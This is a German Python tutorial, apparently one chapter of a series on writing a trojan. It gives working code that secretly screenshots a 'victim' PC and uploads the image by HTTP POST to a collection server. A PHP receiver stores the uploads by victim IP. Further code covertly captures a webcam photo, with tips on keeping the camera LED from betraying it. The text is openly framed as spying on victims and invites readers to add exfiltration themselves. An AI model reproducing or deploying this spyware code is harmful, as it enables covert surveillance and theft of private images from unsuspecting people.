Python Tutorial - Big-Brother lässt grüßen

17.06.2018, 02:09 - Autor: PGD

Screenshot heimlich erstellen und versenden

Oftmals ist es praktisch Screenshots vom Opfer-System zu erstellen und auch das können Sie als Übung gerne in den Trojaner einbauen. Darüber hinaus will ich Ihnen auch diverse Möglichkeiten zeigen Daten aus dem Opfer-PC herauszuziehen.

#!/usr/bin/python
import pyautogui, requests

im = pyautogui.screenshot()
im.save("screenshot.png", "PNG")

url = 'http://192.168.1.17/upload/'
files = {'screenshot': open('screenshot.png', 'rb')}
requests.post(url, files=files)

Mit im = pyautogui.screenshot() wird ein Screenshot im RAM-Speicher erstellt und dann mit im.save("screenshot.png", "PNG") im gleichen Ordner wie das Script abgelegt. Die Parameter sind hierbei Dateiname und Dateiformat.

Als nächstes definieren wir die Variablen url und files. Im files-Dictionary steht screenshot für den Index auf den wir von PHP aus zugreifen werden und der Wert für den Dictionary-Eintrag muss eine Referenz zum Bild sein welche wir mit open('screenshot.png', 'rb') erhalten.

Schließlich wird ein sogenannter POST-Request abgesetzt der das Bild an die URL überträgt.

Derzeit gibt es mit Pillow 5.1 ein Problem. Falls Sie folgenden Fehler erhalten:
Traceback (most recent call last):
  File "10_screenshot.py", line 4, in <module>
    im = pyautogui.screenshot()
  File
"/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pyscreeze/__init__.py",
line 331, in _screenshot_osx
    im = Image.open(tmpFilename)
NameError: name 'Image' is not defined

sollte ein Downgrade zu Pillow 5.0 das Problem lösen. Wenn Sie dies hier lesen und dann eventuell schon eine neuere Pillow-Version verwenden kann dieser Fehler bereits behoben sein.

Sehen wir uns die Server-Seite noch kurz an:

<?php
$updir = "img/";
$fname = getenv("REMOTE_ADDR").".png";
move_uploaded_file($_FILES["screenshot"]["tmp_name"], $updir.$fname);
?>

Das Empfangs-Script ist ebenfalls sehr übersichtlich...

Zuerste wird der Ordner für den Upload in der Variablen $updir gespeichert. Die Adressierung ist hierbei relativ zum Script-Basisordner.

Als $fname definieren wir den Dateinamen. Hierbei liefert getenv("REMOTE_ADDR") die Opfer-IP und der Punkt hängt an die IP die Zeichenkette .png an. Bei einem Fileupload finden wir die Informationen über die hochgeladene Datei im $_FILES-Array (in Python nennt man das ein Dictionary). Im Eintrag mit dem Key screenshot (aus dem files-Dictionary von Pathon) finden wir den Key tmp_name der den Namen und Pfad der temporären Datei enthält in der der Upload gelandet ist.

Mit move_uploaded_file verschieben wir die temporäre Datei in den Ordner $updir und benennen diese auch gleich in den Wert von $fname um.

So werden alle Screenshots unter der Opfer-IP-Adresse abgelegt und damit steht einem gleichzeitigen Upload von verschiedenen Opfern nichts mehr im Wege.

Fotos mit der Webcam (Heimlich) aufnehmen

Um zu überprüfen ob gerade jemand vor dem Rechner sitzt und arbeitet gibt es kaum etwas besseres als ein Bild mit der Webcam zu machen. Zuerst müssen wir wieder das benötigte Modul installieren:

user@kali:~$ pip3 install opencv-python

Danach reicht dieses kurze Script um ein Bild mit der Webcam aufzunehmen. Hierbei leuchtet die Betriebs-LED der Webcam allerdings auf. Da dies nur ca. eine Sekunde dauert ist die Chance groß, dass dies dem Opfer nicht auffällt.

Abgesehen von der Livestream-Option kann das Meterpreter auch nicht besser.

#!/usr/bin/python
from cv2 import *

webcam = VideoCapture(0)

# DROP 5 FRAMES FOR EXPOSURE-ADJUSTMENT
for i in range(0, 5):
    worked, img = webcam.read()

# SAVE IMAGE TO DISK
if worked:
    imwrite("img.jpg", img)
    webcam.release()

Auch dieses Script ist erschreckend kurz. Nachdem wir cv2 (OpenCV) eingebunden haben weisen wir der Variable webcam eine Instanz von VideoCapture zu und verweisen auf die erste (auch hier beginnt die Nummerierung wieder bei 0) Webcam.

Danach lasse ich in der for-Schleife 5 Bilder aufnehmen. Das liegt daran, dass die Kamera die ersten Bilder benötigt um die ideale Belichtung zu ermitteln. Das klappte bei meinem Test mit 3 verschiedenen Webcams innerhalb der 5 Bilder immer. Es kann aber durchaus sein, dass ältere oder andere Webcams dazu mehr Bilder benötigen und Sie eventuell die Anzahl der Schleifendurchläufe erhöhen müssen.

Die Methode webcam.read() liefert ein Tupel mit zwei Werten zurück - einen Boolean-Wert der angibt ob die Aufnahme erfolgreich (worked) war und das Bild (img).

Wenn die Aufnahme geklappt (if worked) hat schreiben wir das Bild mit imwrite("img.jpg", img) in eine Datei auf der Festplatte. Hierbei werden der Pfad inklusive Dateiname und das Bild an sich übergeben. Somit wird wieder einmal das Bild mangels anderer Pfadangabe im gleichen Ordner wie das Script abgelegt.

Es sollte sich von selbst verstehen, dass man in diesem Fall sichergehen muss, dass das Script auch Schreibrechte für den Ordner haben muss oder man auf einen anderen Ordner ausweichen muss, auf den auch schreibend zugegriffen werden darf - zB der TEMP-Ordner des Systems.

Ganz wichtig ist hier auch das webcam.release(), da ohne diese Anweisung die Betriebs-LED an der Webcamera andauernd leuchten würde und das dann dem User irgendwann auffallen würde.

Nachdem wir schon gesehen haben wie Daten exfiltriert werden verzichte ich an dieser Stelle darauf. Sie können dies gerne als Übung selbst ergänzen!